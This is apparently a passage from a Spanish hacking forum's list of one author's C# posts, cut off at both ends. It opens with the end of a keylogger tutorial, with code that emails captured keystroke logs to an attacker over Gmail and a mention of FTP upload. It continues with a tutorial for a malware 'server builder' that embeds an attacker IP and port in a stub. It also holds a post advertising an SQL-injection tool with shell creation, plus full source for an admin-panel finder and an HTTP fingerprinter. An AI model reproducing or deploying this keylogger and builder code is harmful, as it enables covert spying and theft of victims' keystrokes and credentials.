Despues tenemos que poner esta funcion al inicio del codigo que es la que uso para enviar Mails a Gmail :
public void Gmail_Send( string usuario, string password, string target, string asunto, string mensaje_texto, string rutaarchivo)
{
// Based on : http://www.codeproject.com/Tips/160326/Using-Gmail-Account-to-Send-Emails-With-Attachment
MailAddress de
= new MailAddress
( usuario
) ; // Establecemos la direccion de correo nuestra de Gmail para enviar el mail MailAddress a
= new MailAddress
( target
) ; // Establecemos la direccion de correo que va a recibir el correo
MailMessage mensaje
= new MailMessage
( de, a
) ; // Creamos la instancia MailMessage como "mensaje"
mensaje. Subject = asunto; // Establecemos en el mensaje el asunto
mensaje. Body = mensaje_texto; // Establecemos en el mensaje el texto del correo
Attachment archivo
= new Attachment
( rutaarchivo
) ; // Creamos la instancia Attachment como "archivo" donde marcamos la ruta del archivo adjunto que // esta en la variable "rutaarchivo"
mensaje. Attachments . Add ( archivo) ; // Agregamos el archivo adjunto cargado anteriormente al "mensaje"
SmtpClient gmailsender
= new SmtpClient
( "smtp.gmail.com" ,
587 ) ; // Creamos la instancia SmtpClient como "gmailsender" ademas marcamos el host y // el puerto de Gmail
gmailsender. UseDefaultCredentials = false ; // Desactivamos el UseDefaultCredentials en el "gmailsender"
gmailsender. EnableSsl = true ; // Activamos el SSL en el "gmailsender"
gmailsender
. Credentials = new NetworkCredential
( usuario, password
) ; // Establecemos el usuario y password de la cuenta nuestra de Gmail
gmailsender. Send ( mensaje) ; // Enviamos el mensaje
}
Despues de eso hacemos doble click sobre el octavo y ultimo boton que tiene como texto "Send logs for Mail" para poner el siguiente codigo :
private void button8_Click( object sender, EventArgs e)
{
Gmail_Send( "tucorreo@gmail.com" , "tupass" , "target@hotmail.com" , "Aca van los logs" , "Disfruta los logs" , "logs.html" ) ;
// Usamos la funcion Gmail_Send para enviar el log por Mail usando nuestra cuenta de Gmail con los datos aclarados en los argumentos de la funcion
}
Como ven en la funcion tenemos como argumentos , el correo y password de nuestra cuenta gmail que usamos para enviar los logs , despues tenemos el correo donde van a llegar los logs , despues tenemos el titulo del mensaje que es "Aca van los logs" y el contenido del mensaje donde tenemos "Disfruta los logs" y para terminar tenemos la ruta de los logs del keylogger que es "logs.html".
Con eso pasamos el ultimo punto.
0x07 : Probando el programa
Bueno , creo que con esto cubrimos lo que es un keylogger basico (eso creo) , para probar solo tenemos que activar la captura de teclas , captura de ventanas y captura de screenshots desde su boton correspondiente , si queremos parar cierta funcion solo tenemos que hacer click sobre el boton de abajo correspondiente.
Se les deberia ver tal cual lo hicimos en el primer punto :
Para mandar los logs por FTP solo hagan click en el boton "Send logs for FTP" y despues de unos segundos tendran subidos los logs al servidor FTP que marcaron en la funcion del punto anterior.
En mi servidor FTP local se puede ver como se subieron los logs : logs.html
Lo mismo con el envio de logs por Mail con la diferencia de que ahora tienen que hacer click en el boton "Send logs for Mail" les dejo un ejemplo donde envio los logs a mi correo en hotmail :
Si quieren pueden ver los logs en formato HTML , en mi caso podre leer algo como esto en Firefox :
Creo que eso seria todo ...
--========--
The End ?
--========--
Version PDF .
Version VideoTutorial
VIDEO Eso es todo.
94
Programación / .NET (C#, VB.NET, ASP) / [C#] Creacion de un Server Builder
en: 29 Agosto 2014, 21:13 pm
[Titulo] : Creacion de un Server Builder
[Lenguaje] : C#
[Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa
-- =================--------
0x01 : Introduccion
Ya habia hecho este manual en Delphi pero como me gusta traducir codigos ahora le toca a C# , para empezar el server builder se usa en el malware para poder generar el virus
o programa malicioso con datos importantes para el atacante como la ip , puerto o alguna configuracion que el server builder considera importante para el programa malicioso.
En este caso veremos solo la ip y el puerto , comencemos ...
0x02 : Creacion del builder
Para crear el server builder tenemos que crear un nuevo proyecto en Visual Studio de esta manera si usan la version 2010 :
Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar
Como en la siguiente imagen :
Ahora creemos dos textbox , uno va a ser para la IP y el otro textbox para el puerto , tambien agregamos un boton que sere el encargado de escribir en el stub , pueden poner
los tres en el lugar que quieran o sino haganlo como en la siguiente imagen :
Una vez hecho el diseño del form del builder vayan al codigo del formulario y agreguen este linea al inicio del codigo.
using System.IO ; // Agregar esta linea al inicio del codigo para el manejo de archivos
Despues hagan doble click en el boton que crearon para agregar el siguiente codigo :
FileStream abriendo
= new FileStream
( "stub.exe" , FileMode
. Append ) ; // Abrimos el stub.exe para escribir en el usando "abriendo" BinaryWriter seteando
= new BinaryWriter
( abriendo
) ; // Usamos BinaryWriter para poder escribir en el archivo binario usando "seteando" seteando. Write ( "-IP-" + textBox1. Text + "-IP-" + "-PORT-" + textBox2. Text + "-PORT-" ) ; // Escribimos en el archivo binario la IP y el puerto
// usando los valores de los textBox1 y textBox2
seteando. Flush ( ) ; // Hace que los datos almacenados en el buffer se escriban
seteando. Close ( ) ; // Cerramos el BinaryWriter "seteando"
abriendo. Close ( ) ; // Cerramos el FileStream "abriendo"
Les deberia quedar algo asi :
Con esto ya estaria el server builder , ahora vamos al stub ...
0x03 : Creacion del stub
Bueno , ahora les voy a explicar como hacer el stub , para empezar creamos otro proyecto de la siguiente manera :
Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar
Como en la siguiente imagen :
Una vez creado el proyecto , agregamos al formulario 2 textBox y un boton que servira para cargar la configuracion , les deberia quedar algo asi :
Unz vez terminado todo , agregamos estas dos lineas al inicio del codigo del formulario :
using System.IO ; // Agregar esta linea para el manejo de archivos
using System.Text.RegularExpressions ; // Agregar esta linea para el manejo de las expresiones regulares
Ahora hacemos doble click en el boton creado :
private void button1_Click( object sender, EventArgs e)
{
string ip = "" ; // Declaramos la variable que contendra la IP como string
string puerto = "" ; // Declaramos la variable que tendra el puerto como string
StreamReader viendo
= new StreamReader
( Application
. ExecutablePath ) ; // Inicializamos la instancia StreamReader como "viendo" para abrir el stub
string contenido = viendo. ReadToEnd ( ) ; // Leemos el contenido del programa y guardamos el resultado en la variable "contenido"
Match regex = Regex. Match ( contenido, "-IP-(.*?)-IP--PORT-(.*?)-PORT-" , RegexOptions. IgnoreCase ) ; // Usamos una expresion regular para buscar la ip
// y el puerto
if ( regex. Success ) // Si se encontro algo ...
{
ip = regex. Groups [ 1 ] . Value ; // Guardamos la ip encontrada en la variable "ip"
puerto = regex. Groups [ 2 ] . Value ; // Guardamos el puerto encontrado en la variable "puerto"
}
textBox1. Text = ip; // Ponemos la ip que obtuvimos en el textBox1
textBox2. Text = puerto; // Ponemos el puerto que obtuvimos en el textBox2
}
Les deberia quedar algo asi :
Con todo esto ya tenemos listo el server builder tanto el builder como el stub ahora nos toca probarlo ...
0x04 : Probando el programa
Una vez compilado el builder y el stub procedemos a probarlo , carguen el builder y ponganle los datos que les venga en gana en mi caso voy a poner como ip "localhost" y
como puerto "666" , despues carguen el stub y hagan click en el boton para cargar la configuracion , a continuacion les dejo una imagen de como quedaria el server builder
ademas en la imagen les muestro el stub cargado en WinHex para que vean que si funciona :
Eso seria todo.
Proximamente se viene un tutorial sobre como hacer un Keylogger en C# ...
--========--
The End ?
--========--
Version PDF .
Version VideoTutorial :
VIDEO
96
Programación / .NET (C#, VB.NET, ASP) / [C#] K0bra 1.0
en: 15 Agosto 2014, 16:57 pm
Un simple scanner SQLI hecho en C#.
Con las siguientes funciones :
Comprobar vulnerabilidad Buscar numero de columnas Buscar automaticamente el numero para mostrar datos Mostras tablas Mostrar columnas Mostrar bases de datos Mostrar tablas de otra DB Mostrar columnas de una tabla de otra DB Mostrar usuarios de mysql.user Buscar archivos usando load_file Mostrar un archivo usando load_file Mostrar valores Mostrar informacion sobre la DB Crear una shell usando outfile Todo se guarda en logs ordenados Unas imagenes :
Si quieren lo puede bajar de
aca .
97
Programación / .NET (C#, VB.NET, ASP) / [C#] PanelFinder 0.3
en: 1 Agosto 2014, 15:57 pm
Un simple programa en C# para buscar el panel de admin en una pagina web.
Una imagen :
Los codigos :
Form1.cs
// PanelFinder 0.3
// (C) Doddy Hackman 2014
using System ;
using System.Collections.Generic ;
using System.ComponentModel ;
using System.Data ;
using System.Drawing ;
using System.Text ;
using System.Windows.Forms ;
namespace PanelFinder
{
public partial class Form1 : Form
{
public Form1( )
{
InitializeComponent( ) ;
}
private void button1_Click( object sender, EventArgs e)
{
List
< string > paneles
= new List
< string > { "admin/admin.asp" ,
"admin/login.asp" ,
"admin/index.asp" , "admin/admin.aspx" ,
"admin/login.aspx" , "admin/index.aspx" ,
"admin/webmaster.asp" , "admin/webmaster.aspx" ,
"asp/admin/index.asp" , "asp/admin/index.aspx" ,
"asp/admin/admin.asp" , "asp/admin/admin.aspx" ,
"asp/admin/webmaster.asp" , "asp/admin/webmaster.aspx" ,
"admin/" , "login.asp" ,
"login.aspx" , "admin.asp" ,
"admin.aspx" , "webmaster.aspx" ,
"webmaster.asp" , "login/index.asp" ,
"login/index.aspx" , "login/login.asp" ,
"login/login.aspx" , "login/admin.asp" ,
"login/admin.aspx" , "administracion/index.asp" ,
"administracion/index.aspx" , "administracion/login.asp" ,
"administracion/login.aspx" , "administracion/webmaster.asp" ,
"administracion/webmaster.aspx" , "administracion/admin.asp" ,
"administracion/admin.aspx" , "php/admin/" ,
"admin/admin.php" , "admin/index.php" ,
"admin/login.php" , "admin/system.php" ,
"admin/ingresar.php" , "admin/administrador.php" ,
"admin/default.php" , "administracion/" ,
"administracion/index.php" , "administracion/login.php" ,
"administracion/ingresar.php" , "administracion/admin.php" ,
"administration/" , "administration/index.php" ,
"administration/login.php" , "administrator/index.php" ,
"administrator/login.php" , "administrator/system.php" ,
"system/" , "system/login.php" ,
"admin.php" , "login.php" ,
"administrador.php" , "administration.php" ,
"administrator.php" , "admin1.html" ,
"admin1.php" , "admin2.php" ,
"admin2.html" , "yonetim.php" ,
"yonetim.html" , "yonetici.php" ,
"yonetici.html" , "adm/" ,
"admin/account.php" , "admin/account.html" ,
"admin/index.html" , "admin/login.html" ,
"admin/home.php" , "admin/controlpanel.html" ,
"admin/controlpanel.php" , "admin.html" ,
"admin/cp.php" , "admin/cp.html" ,
"cp.php" , "cp.html" ,
"administrator/" , "administrator/index.html" ,
"administrator/login.html" , "administrator/account.html" ,
"administrator/account.php" , "administrator.html" ,
"login.html" , "modelsearch/login.php" ,
"moderator.php" , "moderator.html" ,
"moderator/login.php" , "moderator/login.html" ,
"moderator/admin.php" , "moderator/admin.html" ,
"moderator/" , "account.php" ,
"account.html" , "controlpanel/" ,
"controlpanel.php" , "controlpanel.html" ,
"admincontrol.php" , "admincontrol.html" ,
"adminpanel.php" , "adminpanel.html" ,
"admin1.asp" , "admin2.asp" ,
"yonetim.asp" , "yonetici.asp" ,
"admin/account.asp" , "admin/home.asp" ,
"admin/controlpanel.asp" , "admin/cp.asp" ,
"cp.asp" , "administrator/index.asp" ,
"administrator/login.asp" , "administrator/account.asp" ,
"administrator.asp" , "modelsearch/login.asp" ,
"moderator.asp" , "moderator/login.asp" ,
"moderator/admin.asp" , "account.asp" ,
"controlpanel.asp" , "admincontrol.asp" ,
"adminpanel.asp" , "fileadmin/" ,
"fileadmin.php" , "fileadmin.asp" ,
"fileadmin.html" , "administration.html" ,
"sysadmin.php" , "sysadmin.html" ,
"phpmyadmin/" , "myadmin/" ,
"sysadmin.asp" , "sysadmin/" ,
"ur-admin.asp" , "ur-admin.php" ,
"ur-admin.html" , "ur-admin/" ,
"Server.php" , "Server.html" ,
"Server.asp" , "Server/" ,
"wp-admin/" , "administr8.php" ,
"administr8.html" , "administr8/" ,
"administr8.asp" , "webadmin/" ,
"webadmin.php" , "webadmin.asp" ,
"webadmin.html" , "administratie/" ,
"admins/" , "admins.php" ,
"admins.asp" , "admins.html" ,
"administrivia/" , "Database_Administration/" ,
"WebAdmin/" , "useradmin/" ,
"sysadmins/" , "admin1/" ,
"system-administration/" , "administrators/" ,
"pgadmin/" , "directadmin/" ,
"staradmin/" , "ServerAdministrator/" ,
"SysAdmin/" , "administer/" ,
"LiveUser_Admin/" , "sys-admin/" ,
"typo3/" , "panel/" ,
"cpanel/" , "cPanel/" ,
"cpanel_file/" , "platz_login/" ,
"rcLogin/" , "blogindex/" ,
"formslogin/" , "autologin/" ,
"support_login/" , "meta_login/" ,
"manuallogin/" , "simpleLogin/" ,
"loginflat/" , "utility_login/" ,
"showlogin/" , "memlogin/" ,
"members/" , "login-redirect/" ,
"sub-login/" , "wp-login/" ,
"login1/" , "dir-login/" ,
"login_db/" , "xlogin/" ,
"smblogin/" , "customer_login/" ,
"UserLogin/" , "login-us/" ,
"acct_login/" , "admin_area/" ,
"bigadmin/" , "project-admins/" ,
"phppgadmin/" , "pureadmin/" ,
"sql-admin/" , "radmind/" ,
"openvpnadmin/" , "wizmysqladmin/" ,
"vadmind/" , "ezsqliteadmin/" ,
"hpwebjetadmin/" , "newsadmin/" ,
"adminpro/" , "Lotus_Domino_Admin/" ,
"bbadmin/" , "vmailadmin/" ,
"Indy_admin/" , "ccp14admin/" ,
"irc-macadmin/" , "banneradmin/" ,
"sshadmin/" , "phpldapadmin/" ,
"macadmin/" , "administratoraccounts/" ,
"admin4_account/" , "admin4_colon/" ,
"radmind-1/" , "Super-Admin/" ,
"AdminTools/" , "cmsadmin/" ,
"SysAdmin2/" , "globes_admin/" ,
"cadmins/" , "phpSQLiteAdmin/" ,
"navSiteAdmin/" , "server_admin_small/" ,
"logo_sysadmin/" , "server/" ,
"database_administration/" , "power_user/" ,
"system_administration/" , "ss_vms_admin_sm/"
} ;
DH_Tools tools
= new DH_Tools
( ) ;
String page = textBox1. Text ;
String code = "" ;
listBox1. Items . Clear ( ) ;
toolStripStatusLabel1. Text = "[+] Scanning ..." ;
this . Refresh ( ) ;
foreach ( string panel in paneles) {
toolStripStatusLabel1. Text = "[+] Checking : " + panel;
this . Refresh ( ) ;
code = tools. responsecode ( page+ "/" + panel) ;
if ( code == "200" )
{
listBox1. Items . Add ( page + "/" + panel) ;
}
}
if ( listBox1. Items . Count == 0 )
{
MessageBox. Show ( "Not Found" ) ;
}
toolStripStatusLabel1. Text = "[+] Finished" ;
this . Refresh ( ) ;
}
private void listBox1_DoubleClick( object sender, EventArgs e)
{
DH_Tools tools
= new DH_Tools
( ) ; tools. console ( "start " + listBox1. SelectedItem . ToString ( ) ) ;
}
}
}
// The End ?
DH_Tools.cs
// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//
using System ;
using System.Collections.Generic ;
using System.Text ;
using System.Net ;
using System.IO ;
using System.Text.RegularExpressions ;
using System.Security.Cryptography ;
namespace PanelFinder
{
class DH_Tools
{
public string toma( string url)
{
string code = "" ;
try
{
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
code = nave. DownloadString ( url) ;
}
catch
{
//
}
return code;
}
public string tomar( string url, string par)
{
string code = "" ;
try
{
HttpWebRequest nave = ( HttpWebRequest)
WebRequest. Create ( url) ;
nave. UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
nave. Method = "POST" ;
nave. ContentType = "application/x-www-form-urlencoded" ;
Stream anteantecode = nave. GetRequestStream ( ) ;
anteantecode. Write ( Encoding. ASCII . GetBytes ( par) , 0 , Encoding. ASCII . GetBytes ( par) . Length ) ;
anteantecode. Close ( ) ;
StreamReader antecode
= new StreamReader
( nave
. GetResponse ( ) . GetResponseStream ( ) ) ; code = antecode. ReadToEnd ( ) ;
}
catch
{
//
}
return code;
}
public string responsecode( string url)
{
String code = "" ;
try
{
HttpWebRequest nave = ( HttpWebRequest) WebRequest. Create ( url) ;
nave. UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
HttpWebResponse num = ( HttpWebResponse) nave. GetResponse ( ) ;
int number = ( int ) num. StatusCode ;
code = Convert. ToString ( number) ;
}
catch
{
code = "404" ;
}
return code;
}
public string httpfinger( string url)
{
String code = "" ;
try
{
HttpWebRequest nave1 = ( HttpWebRequest) WebRequest. Create ( url) ;
HttpWebResponse nave2 = ( HttpWebResponse) nave1. GetResponse ( ) ;
for ( int num = 0 ; num < nave2. Headers . Count ; ++ num)
{
code = code + "[+] " + nave2. Headers . Keys [ num] + ":" + nave2. Headers [ num] + Environment. NewLine ;
}
nave2. Close ( ) ;
}
catch
{
//
}
return code;
}
public string openword( string file)
{
String code = "" ;
try
{
code = System.IO . File . ReadAllText ( file) ;
}
catch
{
//
}
return code;
}
public void savefile( string file, string texto)
{
try
{
System.IO . StreamWriter save
= new System.IO . StreamWriter ( file,
true ) ; save. Write ( texto) ;
save. Close ( ) ;
}
catch
{
//
}
}
public string getos( )
{
string code = "" ;
try
{
System . OperatingSystem os = System . Environment . OSVersion ;
code = Convert. ToString ( os) ;
}
catch
{
code = "?" ;
}
return code;
}
public List< string > repes( List< string > array)
{
List
< string > repe
= new List
< string > ( ) ; foreach ( string lin in array)
{
if ( ! repe. Contains ( lin) )
{
repe. Add ( lin) ;
}
}
return repe;
}
public List< string > cortar( List< string > otroarray)
{
List
< string > cort
= new List
< string > ( ) ;
foreach ( string row in otroarray)
{
String lineafinal = "" ;
Match regex = Regex. Match ( row, @"(.*)\?(.*)=(.*)" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
lineafinal = regex. Groups [ 1 ] . Value + "?" + regex. Groups [ 2 ] . Value + "=" ;
cort. Add ( lineafinal) ;
}
}
return cort;
}
public string download( string url, string savename)
{
String code = "" ;
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
try
{
nave. DownloadFile ( url, savename) ;
code = "OK" ;
}
catch
{
code = "Error" ;
}
return code;
}
public string upload( string link, string archivo)
{
String code = "" ;
try
{
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
byte [ ] codedos = nave. UploadFile ( link, "POST" , archivo) ;
code = System.Text . Encoding . UTF8 . GetString ( codedos, 0 , codedos. Length ) ;
}
catch
{
code = "Error" ;
}
return code;
}
public string basename( string file)
{
String nombre = "" ;
FileInfo basename
= new FileInfo
( file
) ; nombre = basename. Name ;
return nombre;
}
public string console( string cmd)
{
string code = "" ;
try
{
System.Diagnostics . ProcessStartInfo loadnow
= new System.Diagnostics . ProcessStartInfo ( "cmd" ,
"/c " + cmd
) ; loadnow. RedirectStandardOutput = true ;
loadnow. UseShellExecute = false ;
loadnow. CreateNoWindow = true ;
System.Diagnostics . Process loadnownow
= new System.Diagnostics . Process ( ) ; loadnownow. StartInfo = loadnow;
loadnownow. Start ( ) ;
code = loadnownow. StandardOutput . ReadToEnd ( ) ;
}
catch
{
code = "Error" ;
}
return code;
}
public string urisplit( string url, string opcion)
{
string code = "" ;
Uri dividir
= new Uri
( url
) ;
if ( opcion == "host" )
{
code = dividir. Host ;
}
if ( opcion == "port" )
{
code = Convert. ToString ( dividir. Port ) ;
}
if ( opcion == "path" )
{
code = dividir. LocalPath ;
}
if ( opcion == "file" )
{
code = dividir. AbsolutePath ;
FileInfo basename
= new FileInfo
( code
) ; code = basename. Name ;
}
if ( opcion == "query" )
{
code = dividir. Query ;
}
if ( opcion == "" )
{
code = "Error" ;
}
return code;
}
public string convertir_md5( string text)
{
MD5 convertirmd5 = MD5. Create ( ) ;
byte [ ] infovalor = convertirmd5. ComputeHash ( Encoding. Default . GetBytes ( text) ) ;
StringBuilder guardar
= new StringBuilder
( ) ; for ( int numnow = 0 ; numnow < infovalor. Length ; numnow++ )
{
guardar. Append ( infovalor[ numnow] . ToString ( "x2" ) ) ;
}
return guardar. ToString ( ) ;
}
public string md5file( string file)
{
string code = "" ;
try
{
var gen = MD5. Create ( ) ;
var ar = File. OpenRead ( file) ;
code = BitConverter. ToString ( gen. ComputeHash ( ar) ) . Replace ( "-" , "" ) . ToLower ( ) ;
}
catch
{
code = "Error" ;
}
return code;
}
public string getip( string host)
{
string code = "" ;
try
{
IPAddress[ ] find = Dns. GetHostAddresses ( host) ;
code = find[ 0 ] . ToString ( ) ;
}
catch
{
code = "Error" ;
}
return code;
}
}
}
// The End ?
Si quieren lo puede bajar de
aca .
98
Programación / .NET (C#, VB.NET, ASP) / [C#] HTTP FingerPrinting 0.2
en: 25 Julio 2014, 19:14 pm
Un simple programa en C# para hacer HTTP FingerPrinting.
Una imagen :
Los codigos :
Form1.cs
// HTTP FingerPrinting 0.2
// (C) Doddy Hackman 2014
using System ;
using System.Collections.Generic ;
using System.ComponentModel ;
using System.Data ;
using System.Drawing ;
using System.Text ;
using System.Windows.Forms ;
namespace HTTP_FingerPrinting
{
public partial class Form1 : Form
{
public Form1( )
{
InitializeComponent( ) ;
}
private void button1_Click( object sender, EventArgs e)
{
DH_Tools tools
= new DH_Tools
( ) ;
toolStripStatusLabel1. Text = "[+] Searching ..." ;
this . Refresh ( ) ;
richTextBox1. Clear ( ) ;
richTextBox1. AppendText ( tools. httpfinger ( textBox1. Text ) ) ;
toolStripStatusLabel1. Text = "[+] Finished" ;
this . Refresh ( ) ;
}
}
}
// The End ?
DH_Tools.cs
// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//
using System ;
using System.Collections.Generic ;
using System.Text ;
using System.Net ;
using System.IO ;
using System.Text.RegularExpressions ;
using System.Security.Cryptography ;
namespace HTTP_FingerPrinting
{
class DH_Tools
{
public string toma( string url)
{
string code = "" ;
try
{
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
code = nave. DownloadString ( url) ;
}
catch
{
//
}
return code;
}
public string tomar( string url, string par)
{
string code = "" ;
try
{
HttpWebRequest nave = ( HttpWebRequest)
WebRequest. Create ( url) ;
nave. UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
nave. Method = "POST" ;
nave. ContentType = "application/x-www-form-urlencoded" ;
Stream anteantecode = nave. GetRequestStream ( ) ;
anteantecode. Write ( Encoding. ASCII . GetBytes ( par) , 0 , Encoding. ASCII . GetBytes ( par) . Length ) ;
anteantecode. Close ( ) ;
StreamReader antecode
= new StreamReader
( nave
. GetResponse ( ) . GetResponseStream ( ) ) ; code = antecode. ReadToEnd ( ) ;
}
catch
{
//
}
return code;
}
public string respondecode( string url)
{
String code = "" ;
try
{
HttpWebRequest nave = ( HttpWebRequest) WebRequest. Create ( url) ;
nave. UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
HttpWebResponse num = ( HttpWebResponse) nave. GetResponse ( ) ;
int number = ( int ) num. StatusCode ;
code = Convert. ToString ( number) ;
}
catch
{
code = "404" ;
}
return code;
}
public string httpfinger( string url)
{
String code = "" ;
try
{
HttpWebRequest nave1 = ( HttpWebRequest) WebRequest. Create ( url) ;
HttpWebResponse nave2 = ( HttpWebResponse) nave1. GetResponse ( ) ;
for ( int num = 0 ; num < nave2. Headers . Count ; ++ num)
{
code = code + "[+] " + nave2. Headers . Keys [ num] + ":" + nave2. Headers [ num] + Environment. NewLine ;
}
nave2. Close ( ) ;
}
catch
{
//
}
return code;
}
public string openword( string file)
{
String code = "" ;
try
{
code = System.IO . File . ReadAllText ( file) ;
}
catch
{
//
}
return code;
}
public void savefile( string file, string texto)
{
try
{
System.IO . StreamWriter save
= new System.IO . StreamWriter ( file,
true ) ; save. Write ( texto) ;
save. Close ( ) ;
}
catch
{
//
}
}
public string getos( )
{
string code = "" ;
try
{
System . OperatingSystem os = System . Environment . OSVersion ;
code = Convert. ToString ( os) ;
}
catch
{
code = "?" ;
}
return code;
}
public List< string > repes( List< string > array)
{
List
< string > repe
= new List
< string > ( ) ; foreach ( string lin in array)
{
if ( ! repe. Contains ( lin) )
{
repe. Add ( lin) ;
}
}
return repe;
}
public List< string > cortar( List< string > otroarray)
{
List
< string > cort
= new List
< string > ( ) ;
foreach ( string row in otroarray)
{
String lineafinal = "" ;
Match regex = Regex. Match ( row, @"(.*)\?(.*)=(.*)" , RegexOptions. IgnoreCase ) ;
if ( regex. Success )
{
lineafinal = regex. Groups [ 1 ] . Value + "?" + regex. Groups [ 2 ] . Value + "=" ;
cort. Add ( lineafinal) ;
}
}
return cort;
}
public string download( string url, string savename)
{
String code = "" ;
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
try
{
nave. DownloadFile ( url, savename) ;
code = "OK" ;
}
catch
{
code = "Error" ;
}
return code;
}
public string upload( string link, string archivo)
{
String code = "" ;
try
{
WebClient nave
= new WebClient
( ) ; nave. Headers [ "User-Agent" ] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" ;
byte [ ] codedos = nave. UploadFile ( link, "POST" , archivo) ;
code = System.Text . Encoding . UTF8 . GetString ( codedos, 0 , codedos. Length ) ;
}
catch
{
code = "Error" ;
}
return code;
}
public string basename( string file)
{
String nombre = "" ;
FileInfo basename
= new FileInfo
( file
) ; nombre = basename. Name ;
return nombre;
}
public string console( string cmd)
{
string code = "" ;
try
{
System.Diagnostics . ProcessStartInfo loadnow
= new System.Diagnostics . ProcessStartInfo ( "cmd" ,
"/c " + cmd
) ; loadnow. RedirectStandardOutput = true ;
loadnow. UseShellExecute = false ;
loadnow. CreateNoWindow = true ;
System.Diagnostics . Process loadnownow
= new System.Diagnostics . Process ( ) ; loadnownow. StartInfo = loadnow;
loadnownow. Start ( ) ;
code = loadnownow. StandardOutput . ReadToEnd ( ) ;
}
catch
{
code = "Error" ;
}
return code;
}
public string urisplit( string url, string opcion)
{
string code = "" ;
Uri dividir
= new Uri
( url
) ;
if ( opcion == "host" )
{
code = dividir. Host ;
}
if ( opcion == "port" )
{
code = Convert. ToString ( dividir. Port ) ;
}
if ( opcion == "path" )
{
code = dividir. LocalPath ;
}
if ( opcion == "file" )
{
code = dividir. AbsolutePath ;
FileInfo basename
= new FileInfo
( code
) ; code = basename. Name ;
}
if ( opcion == "query" )
{
code = dividir. Query ;
}
if ( opcion == "" )
{
code = "Error" ;
}
return code;
}
public string convertir_md5( string text)
{
MD5 convertirmd5 = MD5. Create ( ) ;
byte [ ] infovalor = convertirmd5. ComputeHash ( Encoding. Default . GetBytes ( text) ) ;
StringBuilder guardar
= new StringBuilder
( ) ; for ( int numnow = 0 ; numnow < infovalor. Length ; numnow++ )
{
guardar. Append ( infovalor[ numnow] . ToString ( "x2" ) ) ;
}
return guardar. ToString ( ) ;
}
public string md5file( string file)
{
string code = "" ;
try
{
var gen = MD5. Create ( ) ;
var ar = File. OpenRead ( file) ;
code = BitConverter. ToString ( gen. ComputeHash ( ar) ) . Replace ( "-" , "" ) . ToLower ( ) ;
}
catch
{
code = "Error" ;
}
return code;
}
public string getip( string host)
{
string code = "" ;
try
{
